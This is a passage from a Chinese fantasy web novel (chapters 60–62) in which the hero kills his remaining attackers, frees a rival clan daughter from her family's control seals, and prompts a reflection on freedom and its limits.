秦止水与李沉渊本就因李虚临的死而心神大乱,又被玄霜云珀放大了内心的恐惧与焦躁,进入结界后,只觉得眼前的空间不断扭曲,无论朝着哪个方向奔跑,最终都会回到原点。 他们在结界内漫无目的地挣扎,试图打破空间壁垒,却一次次被混乱的空间之力反噬,体力与能量在不知不觉中消耗殆尽。 等到张玉汝解决掉正面战场的四位宗师,腾出手来收拾他们时,两人早已没了任何反抗之力。 “张…… 张玉汝,你敢杀我们?我们可是秦家和李家的宗师!” 秦止水挣扎着想要起身,声音因恐惧而颤抖,却仍试图搬出家族的名头威慑对方。 李沉渊则瘫坐在地,望着那柄冰冷的能量长刀,眼中充满了绝望。 他后悔了,后悔当初不该贪生怕死选择逃跑,更后悔低估了张玉汝的手段。 此刻他才明白,从他们决定逃离的那一刻起,就已经踏入了对方布下的死局。 张玉汝面无表情地看着两人,手中的能量长刀微微抬起:“既然敢出手,就要做好付出代价的准备。” 他的声音没有丝毫波澜,却带着不容置疑的决绝。 对于敌人,他从不会心慈手软,更何况是秦止水与李沉渊这样的天人势力所属宗师 —— 留着他们,只会给日后带来无穷无尽的麻烦,唯有彻底斩除,才能永绝后患。 李砚卿站在一旁,看着眼前的场景,浑身冰凉。 她终于明白,张玉汝不是放过了自己,而是根本没将自己放在眼里。 相较于秦止水与李沉渊,自己这个尚未成长起来的李家弟子,连成为他 “后患” 的资格都没有。 这种被彻底无视的感觉,比死亡更让她感到屈辱,却又无可奈何。 随着张玉汝手中的能量长刀落下,两道惨叫声划破了战场的寂静。 至此,围攻张玉汝的七位宗师,最终落得 “杀五逃二” 的结局 —— 而那 “逃掉” 的两人,终究还是没能躲过死亡的命运。 当刀光消散的那一刻,整个独立空间只剩下张玉汝挺拔的身影,以及李砚卿与夏侯雪复杂难明的目光。 张玉汝收刀入鞘的动作干净利落,墨色长刀隐去锋芒的瞬间,他抬手抹了抹额角沾染的血迹,随后长长吐出一口浊气。 那口气里混杂着战斗残留的能量气息,在崩坏的空间中化作一缕白雾,转瞬便被紊乱的气流吹散。 他微微垂眸,看着脚下狼藉的战场 —— 几位宗师的尸体横七竖八地躺着,李虚临胸口的伤口还残留着黑白能量的余韵,赵烈阳熄灭的火焰旁,焦黑的地面仍在冒着缕缕青烟。 这场以一敌七的厮杀,终于在此刻落下帷幕。 不远处的李砚卿,心脏早已提到了嗓子眼。 她下意识地攥紧了裙摆,指尖用力到泛白,精致的脸上血色尽失。作为李家的高门贵女,她见过无数次生死,却从未像此刻这般恐惧。 她太清楚自己的处境:李家与张玉汝早已势同水火,自己更是亲眼见证了他斩杀宗师的全过程,以对方的实力,随手了结自己的性命,不过是弹指间的事。 即便她知道自己对张玉汝或许还有些许利用价值,可面对这个连老牌宗师都能轻易碾压的存在,“价值” 二字又能有多少分量? 死亡的阴影如同冰冷的潮水,从脚底缓缓漫上心头,让她连呼吸都变得小心翼翼。 夏侯雪则站在一旁,双手不安地绞在一起,眼神躲闪着,不敢与张玉汝对视。 她微微咬着下唇,唇瓣早已被牙齿咬得泛红,却浑然不觉。脑海中不断闪过过往的画面:张玉汝为她挡下攻击时的背影,为她疗伤时温和的语气,还有自己 “背叛” 他时,他眼中那一闪而过的错愕。 如今,她成了亲手将他推向对立面的 “叛徒”,而他却在解决掉所有敌人后,平静地站在那里,这份平静让她更加无地自容。 她想开口说些什么,或许是道歉,或许是解释,可话到嘴边,却像是被无形的力量堵住,一个字也说不出来。 她不知道自己该以怎样的姿态面对他,更不知道他会如何处置这个 “背叛者”。 两女就这般站在原地,心中翻涌着无数复杂的念头。 李砚卿在盘算着自己的生机,思考着是否还有周旋的余地;夏侯雪则在愧疚与不安中挣扎,反复回想自己当初的选择是否正确。 时间仿佛在这一刻被拉长,每一次呼吸都显得格外漫长,不过是几个呼吸的功夫,在她们眼中却像是熬过了一个世纪。 空间中只剩下能量乱流的呼啸声,还有两人略显急促的心跳声,沉闷得让人窒息。 终于,张玉汝缓缓抬起头,目光扫过李砚卿与夏侯雪。 他的眼神平静无波,没有杀意,也没有波澜,仿佛只是在看两个无关紧要的路人。 在两人紧张到极致的注视下,他薄唇轻启,声音不高,却清晰地传入两人耳中: “你们走吧。” 第 60章 自由 短短四个字,如同惊雷般在两女心中炸开。 李砚卿猛地瞪大了眼睛,脸上写满了难以置信,下意识地追问:“你…… 你当真放我们走?” 她甚至做好了被囚禁、被要挟的准备,却从未想过对方会如此轻易地放自己离开。 夏侯雪也猛地抬起头,眼中满是错愕,随即涌上一丝复杂的情绪,有惊讶,有感激,还有一丝难以言喻的失落。 她张了张嘴,最终还是只说出了两个字:“对不起。” 声音带着一丝不易察觉的颤抖。 张玉汝却没有再多说一个字,只是转过身,目光重新投向战场中央,仿佛刚才那句话耗尽了他所有的耐心。 他抬手一招,之前被他压碎的浑圆球体碎片缓缓聚拢,化作一缕缕精纯的能量,被他吸入体内。 显然,对于放两人离开这件事,他早已做好了决定,也懒得多做解释。 李砚卿与夏侯雪对视一眼,都从对方眼中看到了震惊与茫然。 直到走出这片崩坏的空间,感受到外界正常的空气,两女才仿佛松了一口气,却又不约而同地回头望了一眼。 那个挺拔的身影,依旧站在战场中央,如同一个孤独的战神,与身后的狼藉形成了鲜明的对比。 张玉汝看着眼前僵在原地的两女,指尖还残留着刚才捏碎 “世界” 屏障时的能量余温,而心底的思绪却比战场上的能量乱流还要复杂。 在最初,他看到夏侯雪帮助叶家时,他不是没有疑惑过。 那个平日里总是跟在他后边的姑娘,怎么会突然调转矛头? 直到后来摸清叶家那能扭曲人心的能力,他才明白 —— 夏侯雪的 “背叛”,从来不是出自本意。 以她那刚摸到高级能力者门槛的实力,面对天人家族布下的心灵干涉,就像狂风中的烛火,根本没有反抗的余地。 那些她亲手递出的刀刃,不过是被操控的傀儡动作罢了。 虽说道理他都懂,可是心里那些芥蒂,却不是一句 “不怪你” 就能轻易抹掉的。 他想起当初夏侯雪为了掩护普通民众撤退,硬扛着异兽围攻时的狼狈场景,想起了她跟着自己时绽放出的那些开心的笑容。 这些画面与后来她 “背叛” 时的冷漠眼神交织在一起,像一根细小的刺,扎在心里,不疼,却硌得慌。 他不是圣人,做不到全然剥离情感,把过往的相处与被操控的伤害彻底割裂。 或许再过些时日,等这场风波平息,等他能真正平静回望这段过往,这份芥蒂会慢慢消散,但此刻,他确实没力气再像从前那样,毫无隔阂地与她并肩。 更重要的是,他不能再把夏侯雪留在身边了。 七大宗师尽数陨落的消息,用不了多久就会传遍所有天人家族。 想想吧,一个新晋宗师,以一己之力斩杀了七位老牌宗师级能力者—— 这等战绩,若是流传出去,足以让天下震动。 从此之后,他绝不会被天人当成 “无关痛痒的蝼蚁”,而是会被视作足以颠覆现有秩序的 “心腹大患”。 接下来,等待他的必然是天人群起而攻之的围剿,或许会有更强的宗师组队而来,甚至可能惊动那些闭关多年的老怪物。 他连自己能不能在这场围剿中活下来都没把握,又怎么能拖着夏侯雪一起涉险? 若是带着她,他既要应对天人的追杀,又要分心保护她,反而会让两人都陷入险境。 可让她跟着李砚卿离开,至少在李家还没得到消息之前,夏侯雪能暂时避开天人的针对,有一线安稳的可能。 张玉汝轻轻呼出一口气,目光掠过夏侯雪攥得发白的衣角,又扫过李砚卿紧绷的肩线 —— 两女眼底的紧张与茫然,他都看在眼里。 心中的考量早已尘埃落定,他知道,这是此刻对所有人来说,最好的选择。 两女刚走出坍塌空间的边缘,脚下还沾着未散的烟尘,身后便传来一阵轻微的能量波动。 那熟悉的黑白光晕掠过,张玉汝的身影竟再次出现在她们面前,像一道无声的影子,悄无声息地挡住了前路。 夏侯雪的心脏猛地一跳,指尖下意识蜷缩起来,眼底掠过一丝不易察觉的期待。 她几乎是立刻停下脚步,转头看向张玉汝,连呼吸都放轻了几分,仿佛怕惊扰了这突如其来的 “回头”。 可这份期待很快又被不安取代,她不知道张玉汝折返的目的,是改变了主意,还是有其他安排? 与夏侯雪不同,李砚卿的后背瞬间绷紧,一股寒意从脚底直窜头顶。 她僵硬地转过身,对上张玉汝平静无波的目光,那目光里没有杀意,却比任何凌厉的眼神都让她心慌。 她看着张玉汝缓步朝自己走来,每一步都像踩在她的心跳上,周围坍塌空间传来的碎石坠落声,此刻竟成了催命的鼓点。 “最终还是没打算放过我吗?” 李砚卿扯了扯嘴角,露出一抹苦涩的笑。 斩草必须除根,尤其是像她这样知晓太多秘密、又与张玉汝有过对立的人,留着就是后患。 若是换作她站在张玉汝的位置,恐怕也会做出同样的选择。 张玉汝没有回答,只是抬起右手,指尖微微弯曲,朝着李砚卿的额头缓缓点去。 这动作看似缓慢,却带着一种无法抗拒的压迫感 —— 空气仿佛在这一刻凝固,李砚卿甚至能感觉到周围的能量形成了无形的牢笼,让她连抬手格挡的念头都无法付诸行动。 明明只是一根纤细的手指,在她眼中却像是整片天空压了下来,厚重得让她喘不过气。 她索性闭上了眼睛,睫毛剧烈地颤抖着,脑海里闪过家族的任务、李虚临的惨状,还有刚才那场颠覆认知的战斗。 死亡的恐惧像冰冷的水,淹没了她的四肢百骸,她甚至已经做好了迎接剧痛与消散的准备。 可预想中的死亡并未降临。 取而代之的,是两股截然不同的能量顺着眉心涌入体内。 一股微凉,像清晨的露水,沁入经脉时带着舒缓的凉意;另一股微暖,像冬日的暖阳,流淌过骨骼时竟让紧绷的身体不自觉地放松下来。 这两股能量缠绕着,如同黑白交织的丝线,沿着她的经脉缓缓运转。 所过之处,那些潜藏在她体内、多年来被家族种下的 “桎梏”—— 那是为了控制族内子弟、防止背叛而设下的能量禁制,竟像冰雪遇到暖阳般,一点点融化、消散。 李砚卿猛地睁开眼睛,眼底满是难以置信。 她能清晰地感觉到,原本堵塞的经脉变得畅通无阻,连多年前修炼留下的暗伤,都在这两股能量的滋养下渐渐平复。 张玉汝的指尖依旧停在她的眉心,黑白能量缓缓收敛,直到最后一丝能量收回,他才缓缓收回手。 “你身体里被家族留下的禁制,已经清理干净了。” 他的声音依旧平静,没有丝毫波澜,仿佛刚才做的只是一件微不足道的小事。 “不过,你家族那边,应该很快会收到你‘死亡’的信息 —— 毕竟,七位宗师陨落,没理由只有你活下来。” 他顿了顿,目光转向一旁的夏侯雪,再落回李砚卿身上时,语气里多了一丝不易察觉的郑重:“如果想活下去,就趁早离开李家的势力范围,别再掺和天人的纷争。另外,” 他的视线在两女之间转了一圈,最终定格在夏侯雪身上,“照顾好她。” 说完这句话,张玉汝没有再停留。 他转身,身影渐渐融入身后坍塌空间的混沌光影中,只留下一道挺拔的背影,很快便消失不见。 李砚卿僵在原地,指尖下意识地触碰了一下眉心 —— 那里还残留着一丝微凉的触感,仿佛张玉汝的能量还未完全消散。 她看着张玉汝消失的方向,眼底满是怔忪,刚才的恐惧、苦涩、不安,此刻全都被一种复杂的情绪取代,像一团乱麻,缠绕在她的心头。 她甚至忘了要回应,只是站在原地,任由风卷起衣角,耳边只剩下远处空间裂纹传来的脆响。 夏侯雪走到她身边,轻轻碰了碰她的胳膊,声音带着一丝茫然:“他…… 这是……” 李砚卿缓缓摇头,却没有说话。 她不知道张玉汝为何要帮自己解除禁制。 但她清楚地知道,从张玉汝指尖落下的那一刻起,她的人生,或许已经和从前不一样了。 天人李家为了维系家族统治、确保成员的绝对忠诚,自有一套残酷的管控手段。 在他们出生满一年之后,家族便会为他们种下守护咒印。 那所谓的 “守护咒印”,不过是裹着糖衣的枷锁。 表面上,咒印能在战斗时激发潜能,为持有者提供一定的战力加持,家族长老们也总以 “为了族人安全” 为由,将其包装成至高的福利。 可只有身处其中的人知道,那些细密如蛛网的咒印,早已悄无声息地扎根在最致命的地方. 心脏处的咒印连着血脉,稍有异动便会引发心脏骤停般的剧痛. 大脑皮层下的咒印缠着神经,哪怕只是生出一丝 “背叛” 的念头,都会让人头痛欲裂,仿佛有无数钢针在颅内搅动. 就连四肢经脉的关键节点,也被咒印牢牢锁住,一旦家族判定其 “危害利益”,咒印便会瞬间爆发,阻断经脉流转,让能力者在剧痛中失去所有反抗之力。 整个李家,只有一个办法能彻底消除这些咒印:成为宗师级能力者。 唯有宗师境的能量强度,才能强行冲开咒印的束缚,打破家族的控制。 可宗师级能力者何其稀有?整个李家传承数千年,如今在世的宗师也不过寥寥数十人,绝大多数成员,终其一生都只能被咒印束缚,像提线木偶般活着。 李砚卿曾以为,凭自己的天资,总能挣出一条活路。 她十五岁突破高级能力者,二十岁触摸到大师境门槛,是李家同辈中最耀眼的新星。 那时的她还带着少年人的倔强,曾偷偷向家族提出,希望用战功换取解除部分咒印的机会 —— 她不想永远像个提线木偶,连选择自己未来的权利都没有。 可回应她的,是三天三夜无休止的咒印发作。 那种疼,不是外伤的撕裂感,而是从五脏六腑、从经脉骨髓里透出来的煎熬,像有无数根针在同时扎着她的神经,让她蜷缩在地上冷汗直流,连意识都会在痛苦中模糊。 心脏像被一只无形的手攥紧,每一次跳动都伴随着撕裂般的疼痛;头痛得让她撞墙打滚,眼前不断闪过混乱的幻象;连指尖都在抽搐,连最基础的能量调动都做不到。 她还记得那时母亲站在门外,声音带着无奈的劝诫:“砚卿,别闹了,李家的孩子都是这样过来的。” 从那以后,她便懂了 —— 所谓的 “天资”,不过是家族眼中更值钱的 “财产”,她的反抗在绝对的掌控面前,连一丝涟漪都掀不起来。 日子久了,她连反抗的念头都不敢再有,咒印发作的痛苦像一道刻在骨子里的警告,让她渐渐麻木。 她开始乖乖接受家族安排的任务,哪怕那些任务需要她牺牲同伴、违背本心。 她也默认了自己未来的命运 —— 或许会在某次高危任务中战死,或许会被家族当作筹码,嫁给其他天人家族的子弟,用婚姻换取家族的利益。 她甚至想过,若是有一天真的要被交易,不如在咒印发作时彻底放弃抵抗,至少能少受些折磨。 可她从未想过,终结这一切的,会是她本该视作死敌的张玉汝。 当黑白二色的能量顺着眉心涌入体内时,李砚卿最初以为是咒印发作的前兆 —— 她甚至已经做好了迎接剧痛的准备,下意识地绷紧了身体。 可她感受到的不是疼痛,而是一种难以言喻的 “轻盈”:心脏处的咒印像遇到暖阳的冰雪,在黑白能量的包裹下缓缓消融,那股常年盘踞在胸口的压抑感瞬间散去,连呼吸都变得顺畅。 大脑里的神经不再紧绷,之前因紧张而突突直跳的太阳穴也平静下来,眼前的世界都变得清晰了许多;就连经脉里那些堵塞的节点,也在能量的流转中被逐一打通,原本滞涩的能量像重新汇入江河的溪流,在四肢百骸间畅快地奔腾。 她甚至忍不住发出了一声低吟 —— 那不是痛苦的呻吟,而是压抑多年的束缚被骤然解开后,一种近乎本能的释放。 等她反应过来时,脸颊早已涨得通红,可心底翻涌的情绪却远不止尴尬:震惊、茫然、狂喜,还有一丝不敢置信的惶惑。 她抬手摸了摸自己的胸口,那里没有了熟悉的压迫感;她试着调动能量,经脉间再也没有了咒印的阻碍;她甚至大胆地生出一个 “违背家族” 的念头 —— 没有头痛,没有剧痛,什么都没有。 自由。 这个她在无数个深夜里不敢奢望的词语,此刻竟如此真切地落在了她的身上。 而给予她这份自由的,不是她效忠多年的家族,不是那些血脉相连的亲人,而是那个被家族视作 “心腹大患”、被她当作 “敌人” 的张玉汝。 李砚卿怔怔地站在原地,看着张玉汝远去的方向,指尖还残留着刚才能量传递时的余温。 风从崩坏的空间缝隙里吹过,拂动她的衣角,也吹散了她眼底最后一丝麻木 —— 原来,自由地活着,是这样一种感觉。 第 61章 不同 绝对的自由,从来都是人类意识中一种理想化的幻影。 就像人无法挣脱重力在青石板路上肆意腾空奔跑——双脚刚离地面半寸,便会被无形的力拽回。 无法脱离空气在旷野中畅快呼吸,哪怕刻意憋气,在一段时间之后,喉咙里便会涌上火烧般的窒息感,连眼前的光景都会渐渐模糊,耳边只剩心脏慌乱的跳动声。 那些被我们视作“理所当然”的限制,从出生起就嵌在生活的每一处褶皱里,像皮肤下的血管,从未真正远离。 任何个体的自由都必然嵌套在层层限制之中。 这些限制并非冰冷的枷锁,反而更像支撑“相对自由”的骨架。 若没有这副骨架,无数个体的自由便会像脱缰的野马,在无序中相互冲撞、倾轧,最终只剩下满地狼藉,连“安稳活着”都成了奢望。 早高峰的环城路上,红色尾灯连成蜿蜒的河,车轮碾过路面的声响织成嘈杂的网。 若有司机无视实线随意变道,方向盘猛地一打,轮胎摩擦地面发出刺耳的尖叫,便可能撞向邻车道匀速行驶的家用车。 那车里或许载着啃着面包赶去上学的孩子,包装袋的碎屑还沾在嘴角;或许是刚结束夜班、眼底还带着红血丝的工人,手里还攥着没喝完的豆浆。 交通规则用白色实线划定的边界,看似捆住了“想快就快”的脚,却让每一辆车都能沿着车道平稳前行。 孩子能按时坐在教室晨读,笔尖在课本上划出整齐的横线;工人能到家喝上一碗热粥,驱散彻夜工作的疲惫。这份“安全通行”的自由,比一时的速度更珍贵,比片刻的急躁更实在。 课堂里的阳光斜斜落在课桌上,粉笔在黑板上划出沙沙的声响,像春蚕啃食桑叶。 若有学生随意喧哗、扔掷纸团,纸团划过空气的轻响便会像石子投入平静的湖面,那些渴望听清老师讲解的同学,便会被噪音拽出思绪,指尖的笔悬在笔记本上,迟迟落不下去,眼里满是焦急与无奈。 课堂纪律限制了“肆意打闹”的自由,却为每个求知者撑起了一片安静的天地,让公式与文字能顺畅地钻进耳朵,落在心里,长成未来的模样。 法律对“**自由”的严禁,本质上是为了保障弱者“生存”与“表达”的自由。 若任由暴力肆意横行,巷子里的老人不敢在傍晚出门散步,怕被暗处窜出的人**;市集里的小贩不敢反驳蛮横的顾客,怕招来一顿拳打脚踢;连孩子都要在夜里攥着父母的衣角才能入睡,梦里都是狰狞的面孔。 当恐惧吞噬了开口的勇气,弱者连“说不”的权利都没有,又何谈追求梦想、选择生活的自由?那些看似“束缚”的法律条文,实则是弱者的保护伞,是黑暗里的光。 市场规则对“垄断兼并”的约束,亦是为了避免少数资本独占资源。 若让巨头肆意吞噬小商贩的生存空间,普通人便会陷入“要么接受极低的薪水被剥削,要么失业在家挨饿”的绝境。 年轻的毕业生找不到合适的工作,只能去流水线做重复的活,手指在机械按钮上磨出薄茧;中年的工人不敢辞职,怕家里的房贷断供,怕孩子的学费交不上,只能在委屈里一天天熬着。 这份对“垄断”的限制,是为了让每个人都能有选择工作的余地,不至于被生活逼到悬崖边,让“努力就能过得好”不至于成为空话。 这些限制的本质,从来不是剥夺自由,而是划定边界——让你的自由止步于我的鼻尖前,让我的选择不伤害你的权利。 如此,每个个体的自由才能在安全的范围内生根、发芽,长出枝叶,不至于成为刺向他人的利器,不至于让“自由”变成“自私”的借口。 可偏偏有人将这种“边界”视作碍眼的障碍,将“不损害他人”的底线视作沉重的束缚——比如那些以剥削为存续根基的势力,比如神州国的天人家族。 对他们而言,“不去妨碍别人的自由”不仅困难,更是与自身利益彻底相悖的命题。 因为他们所追求的“自由”,从来不是个体正当权利的实现,而是不受约束地压迫他人、掠夺资源的“无序自由”,是将他人的命运踩在脚下,为自己铺路的特权。 天人李家在家族成员体内植入咒印时,总说“这是为了保障大家的安全”,语气里带着虚伪的关切。 可那咒印埋在经脉里的触感,李砚卿比谁都清楚——它像一颗蛰伏的毒刺,平日里没什么感觉,可只要她有半分反抗的念头,便会立刻苏醒,带来钻心的疼。 之前她曾经拒绝过家族的安排,就在她拒绝以后,丹田就传来一阵绞痛,像是有无数细针在扎着经脉,疼得她蜷在铺着丝绸的床榻上,冷汗浸湿了里衣,连咬着唇喊出声的力气都没有。 长老们站在床边,鎏金的袍角扫过地面,发出轻微的声响,语气却冰冷得像寒冬的雪:“砚卿,家族的安排就是你的命,别想着选。” 他们的眼神里没有丝毫怜悯,只有对“不听话”的不满。 她的人生自由,早已被压缩成“服从家族”这唯一选项。 而李家通过这种控制,将成员变成扩张势力的工具。 剥削的人越多,李家掌控的资源就越庞大,家族核心成员能享有的“自由”就越无边界——他们可以坐在雕花木椅上,手指轻轻敲击扶手,就随意决定旁系子弟的生死。 可以封锁某地的修炼秘境,只允许自己的子女进入,让旁人连秘境的门都摸不到;可以在议事厅里拍板制定规则,所有条款都围着“李家的利益”转,哪怕损害了千万人的利益也毫不在意。 这种“自由”的扩张,恰恰是建立在无数普通人“自由”被剥夺的基础上。 普通能力者因为资源被垄断,修炼到瓶颈就再也无法突破,只能看着天人子弟轻易进阶,眼里满是羡慕与不甘。 底层民众因为天人压迫,连在自家门口摆摊都要交高额的“保护费”,若是交不上,摊位就会被砸,人还会被打,基本的生存安全都无法保障。 这些势力口中的“自由”,从来都是双重标准的虚伪说辞。 他们要求普通人遵守规则、放弃反抗,说“安分守己才是正道”,语气里满是高高在上的傲慢;却为自己谋求“超越规则”的特权,做着伤天害理的事还理直气壮。 他们宣称“自由需要代价”,却把所有代价都转嫁给被剥削者。 让旁系子弟去送命,让底层民众挨饿,自己则坐在华丽的宫殿里,吃着山珍海味,穿着绫罗绸缎,享受着用他人痛苦换来的“自由”。 他们不愿接受“不妨碍他人”的底线,因为一旦失去剥削他人的自由,他们赖以为生的特权体系便会轰然倒塌,那些锦衣玉食、呼风唤雨的日子,也就到头了。 李砚卿曾在家族的练武场上见过最残酷的一幕:两位长老为了争夺利益,用咒印指挥旁系的两个少年互相残杀。 那两个少年不过十五六岁,脸上还带着少年人的青涩,眼里还带着未脱的稚气,手里的长刀却朝着对方的胸口砍去。 其中一个少年的刀刚划破另一个人的胳膊,鲜血顺着伤口流下来,染红了衣袖,自己的小腹就被捅了个窟窿,鲜血溅在青石板上,像一朵妖艳的花,很快就凝固了。 他们没有选择“不参与内斗”的自由,甚至没有选择“**”的权利,只能像提线木偶一样,在咒印的控制下走向毁灭,眼里满是绝望与不甘。 而那些操控他们的长老,看似拥有“掌控他人生死”的自由,却也被家族的利益捆绑着。 白天要算计如何夺取更多的权力,脑子里全是阴谋诡计;夜里要提防其他长老的暗算,连睡觉都要睁着一只眼。 他们终生都在算计与提防中度过,从未有过片刻安心。 夜里躺在床上,一闭眼就是被自己害死的人的脸,那些人的眼神里满是怨恨,连梦都是冷的,醒来时后背全是冷汗。 这便是无序自由的代价:当一部分人追求“不受限制的权利”时,必然会剥夺另一部分人的基本自由,而这份“特权”最终也会变成枷锁,困住自己,让自己活在无尽的痛苦与恐惧里。 李砚卿过去人生当中所见到过的所有强者,无一例外都是选择了牺牲别人来成就自己。 他们的强大背后,都堆着无数普通人的白骨,都沾着无数人的鲜血。 可张玉汝是个例外。 他不是什么胸怀天下的圣人,没有穿着圣洁的镶嵌着尊贵的金边长袍,身上只有一件有些发白的青色衣衫。 他出身平凡,他有自己的欲望,想让身边的人过得好,想让那些欺负人的家伙付出代价,想让这个世界少一些不公平。 他有自己的缺陷——面对夏侯雪过去的“背叛”,他做不到全然释怀,只能选择暂时疏远。 见到夏侯雪泛红的眼眶,见到她想说又不敢说的样子,他都会下意识地移开视线,喉结动了动,想说点什么,却又什么都没说。 可就是这样一个“普通”的人,却比那些自诩“高等种族”的强者,更懂“不干涉他人自由”的底线。 解除李砚卿的咒印,对张玉 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他们会觉得,这样做才解气,才对得起自己过去受的苦。 可张玉汝没有。他只是解除了咒印,告知她“李家会收到死亡信号”,再嘱托一句“照顾好夏侯雪”,便转身离去。 他的背影很快消失在废墟的断墙后,没有丝毫留恋。 他没有要求李砚卿报恩,没说“你以后要跟着我,为我做事”;没有强迫她改变立场,没问“你会不会反过来对付李家,帮我报仇”。 没打探“李家的权力结构是怎样的,有什么弱点”——他给了李砚卿最珍贵的东西,是她过去那些年里从未拥有过的:选择的自由。 选择“是否离开李家”的自由,不用再被咒印逼着回去做棋子,不用再看长老们的脸色;选择“未来要走什么路”的自由,是去隐居,过安稳的日子。 还是去闯荡,看看外面的世界,都由自己说了算;选择“是否要回报这份恩情”的自由,是记着这份好,以后有机会帮他一把,还是转身忘记,过自己的生活,都没人会怪她。 这种“不强求”,恰恰是对“自由边界”最清醒的认知。 我可以帮你摆脱枷锁,让你重获自由,但我不会替你决定未来的方向,不会把我的意愿强加给你;我可以不伤害你,给你尊重,但你也要为自己的选择负责,无论未来是好是坏,都要自己承担。 我的善意,不会变成束缚你的新枷锁,不会让你因为我的帮助,又陷入另一种不自由。 李砚卿深吸一口气,风从废墟的断墙间穿过来,裹着尘土的气息,落在她脸上时,她却没像往常那样皱眉。 过去在李家,连呼吸的空气都像是被过滤过的,带着熏香的甜腻,闷得她胸口发慌,像被什么东西堵住了。 可现在这混着尘土的风,却让她觉得胸口敞亮,连指尖都有了知觉。 那是一种“活着”的真实感,是能清晰感受到风的温度、能自由呼吸的轻松,不是过去像木偶一样的麻木,不是过去连喜怒哀乐都要被控制的压抑。 她转头看向夏侯雪,后者还站在不远处,脚边是一块破碎的瓦片,瓦片上还沾着些许暗红色的痕迹,不知是血还是锈。 夏侯雪的眼神有些放空,望着张玉汝离去的方向,眼里还带着对张玉汝的复杂情绪——有愧疚,有感激,还有一丝说不清道不明的失落。 见李砚卿看来,夏侯雪像是被惊醒了一样,身体轻轻一颤,有些局促地低下了头,长长的睫毛垂下来,遮住了眼底的情绪,声音也有些沙哑:“砚卿姐……” “我们走吧。”李砚卿轻声说,声音里没有了往日的麻木,没有了过去的厌倦,而是多了几分坚定,多了几分对未来的期待。 她的手指轻轻拂过衣角,拂去上面的尘土,像是在告别过去的自己。 两人并肩离开这片曾见证过宗师陨落、也见证过自由新生的废墟。脚下的碎石发出轻微的声响,像是在为她们的新生喝彩。 断壁残垣之上还残留着那些强大的能力者战斗的痕迹,但李砚卿忽然有一种感觉。 张玉汝的强大,从来都不只是“以一敌七斩杀宗师”的战力,更是他在拥有绝对力量时,依然能守住“不滥用力量”的底线。 他不追求“掌控他人”的无序自由,只守护“不被他人掌控”的基本权利,甚至愿意为陌生人递上一份“摆脱桎梏”的助力——这份清醒与克制,或许比任何强大的能力,都更能够体现张玉汝的强大之处。 第 62章 消散 铅灰色的天幕压得很低,像是一块浸了墨的旧布,将整片旷野都裹在一片沉郁的苍茫里。 无边无际的土塬从张玉汝的脚下向远方铺展,土块龟裂成不规则的纹路,像是大地苍老的皱纹。 每一道缝隙里都嵌着枯黄的草屑,风一吹,便卷着细碎的沙尘打着旋儿掠过,落在他素色的衣襟上,又被周身流转的微光轻轻弹开。 远处的地平线模糊成一道淡灰的线,偶尔能看见几棵枯死的胡杨,枝桠扭曲地指向天空,光秃秃的枝干上没有一片叶子,只有常年被风沙打磨出的粗糙纹理,像极了老人干枯的手指。 风是这里唯一的活物,贴着地面呜咽着穿行,卷过枯草丛时发出“沙沙”的声响,像是谁在暗处低语,又像是无数细碎的脚步在追赶。 那是异兽们的动静,从张玉汝踏入这片旷野的那一刻起,就从未停歇。 他的步伐很稳,每一步踩在龟裂的土块上,都只发出轻微的“咔嚓”声,像是在丈量这片土地的脉搏。 素白的衣摆随着脚步轻轻晃动,衣料上绣着的暗纹在微光里若隐若现,与周身流转的黑白二色光芒缠绕在一起。 黑如墨染的光丝贴着他的袖口游走,白似霜雪的光晕则在他周身形成一层薄而透明的屏障,两种颜色交织着,像是昼夜在他身上凝结,既不刺眼,却又带着不容置疑的压迫感。 若不是那些紧随其后的异兽,或许他真能停下来好好看看这旷野的风光。 看风卷沙尘时扬起的淡金色雾霭,看夕阳落在胡杨枝干上的碎金,看夜幕降临时星星如何从天幕里钻出来。 可此刻,那些潜藏在土塬缝隙、枯草丛中,甚至盘旋在低空的异兽,正用最凶狠的姿态,将这片旷野的静谧撕得粉碎。 左侧的土坡后,一道青灰色的影子猛地窜了出来,是只形似猎豹的青纹兽。 它的身躯比寻常猎豹要大上一倍,流线型的脊背覆盖着带着暗纹的厚皮,每一块肌肉都绷得紧紧的,像是蓄满了力量的弹簧。 四只爪子深陷在土块里,爪尖泛着冷冽的寒光,落地时甚至能在坚硬的土面上划出浅痕。 它的眼睛是浑浊的黄色,瞳孔缩成一道竖线,死死盯着张玉汝的背影,喉咙里发出“呼噜呼噜”的低吼。 涎水从嘴角滴落,落在土块上,很快便洇出一小片深色的痕迹——那涎水里带着剧毒,只要沾到一点,寻常草木都会迅速枯萎。 而在张玉汝前方十米远的枯草丛中,还藏着一只身披重甲的玄甲兽。 它的身体像巨大的蜥蜴,背部覆盖着暗褐色的鳞甲,每一片鳞甲边缘都带着尖锐的骨刺,若是阳光照在上面,便会反射出金属般的冷光。 它将身体埋在枯草里,只露出两只圆溜溜的眼睛,死死盯着张玉汝的脚步,尾巴在身后轻轻摆动,尾尖的骨刺泛着幽蓝的光——那是它最锋利的武器,能轻易刺穿铁板,此刻正随着呼吸微微颤动,随时准备发起攻击。 更远处的低空,数不清的铁羽猛禽正盘旋着。 它们的翅膀展开足有两米宽,羽毛像是用黑铁打造的,边缘锋利如刀,扇动时会带起强劲的劲风,吹得地面的枯草纷纷倒伏。 它们的尖喙呈弯钩状,泛着惨白的光,偶尔会发出一声尖锐的啼鸣,声音刺破风幕,在旷野里回荡,像是在召唤同伴,又像是在向张玉汝发出警告。 其中一群铁羽禽甚至已经开始降低高度,翅膀扇动的频率越来越快,爪子蜷缩着,显然已经做好了俯冲的准备。 这些异兽形态各异,有的凶狠如饿狼,有的雄壮如猛虎,却无一例外都带着令人胆寒的攻击性。 它们的眼睛里只有猎物的影子,动作里全是致命的意图。 若是换做寻常人,恐怕早已被这阵仗吓得腿软,可张玉汝却像是没有察觉一般,依旧保持着平稳的步伐,周身的黑白光芒流转得愈发柔和,却也愈发坚定。 当他走到青纹兽前方三米处时,那只一直蓄势待发的青纹兽猛地扑了上来。 它的身体在空中划出一道青灰色的弧线,爪尖几乎要触碰到张玉汝的衣摆,涎水滴落的轨迹在空中拉出一道细小的银线。 可就在这时,张玉汝周身的黑白光芒突然向外扩散了一寸,黑色的光丝像是有生命般缠上了青纹兽的爪子,白色的光晕则罩住了它的身体。 下一秒,青纹兽的动作突然僵住了。 它保持着扑击的姿势悬在空中,黄色的瞳孔里满是惊恐,喉咙里的低吼戛然而止,像是被什么东西扼住了喉咙。 